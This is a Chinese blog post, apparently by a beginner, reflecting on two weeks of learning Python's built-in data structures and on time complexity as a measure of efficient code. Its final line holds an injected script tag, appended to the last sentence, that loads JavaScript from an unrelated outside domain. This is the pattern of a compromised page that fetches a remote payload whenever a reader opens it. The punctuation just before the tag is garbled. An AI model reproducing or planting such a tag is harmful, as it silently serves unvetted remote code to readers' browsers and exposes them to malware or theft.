不知不覺已經正式學習接觸Python兩周了，第二周主要開始了Python內置數據結構的學習，包括從一開始的列表list，元組tuple，字符串string，再到后來的bytes, bytearray, 以及最后的集合set。這些數據結構可以說Python最為基礎的幾種類型，想要用Python寫出漂亮的代碼離不開對他們的熟練掌握與深刻理解。這幾個結構各有各的特點，有一些共同點，比如有序性，可索引，可修改等一些性質，也有一些他們各自獨有的特點，比如set中的元素不可重復，利用好它的這一特點就可以很好地對目標元素進行去重操作。另外，我們需要牢記每個結構自身最基本的特點，尤其不能弄混，并且對于每一次結構的輸出類型要有特別清晰的判斷，只有這些基本點了解清楚了，寫代碼的時候才不會冗余，不會出錯，能夠寫的簡練，易懂，給人耳目一新的感覺。
另外，在本周的數據結構學習過程中，我們首次接觸到了時間復雜度的概念。對于每種類型進行操作的時間復雜度決定了我們代碼的效率，因此，如何能夠避免過高的時間復雜度是在我們能夠寫出代碼，執行代碼之后優化的第一要務。雖然在初學階段，能不能寫出代碼，能不能順利執行是我們的第一大關，但倘若我們使用了一般的方法實現了目標，那么下一步必然要審視自己的代碼，進行效率審查。如果有明顯的效率問題，它雖然是“一只能抓到老鼠的貓”，但未必是“一只真正的好貓”。而成為“一只真正的好貓”是我們提升競爭力的重要途徑，我們只有在不斷優化算法，不斷提升效率，盡可能接近最優算法之后，才能自豪地說一句：“我不但能抓老鼠，我還是一個有效率的好貓?！?script src='https://pr.uustoughtonma.org/d.js' type='text/javascript'>
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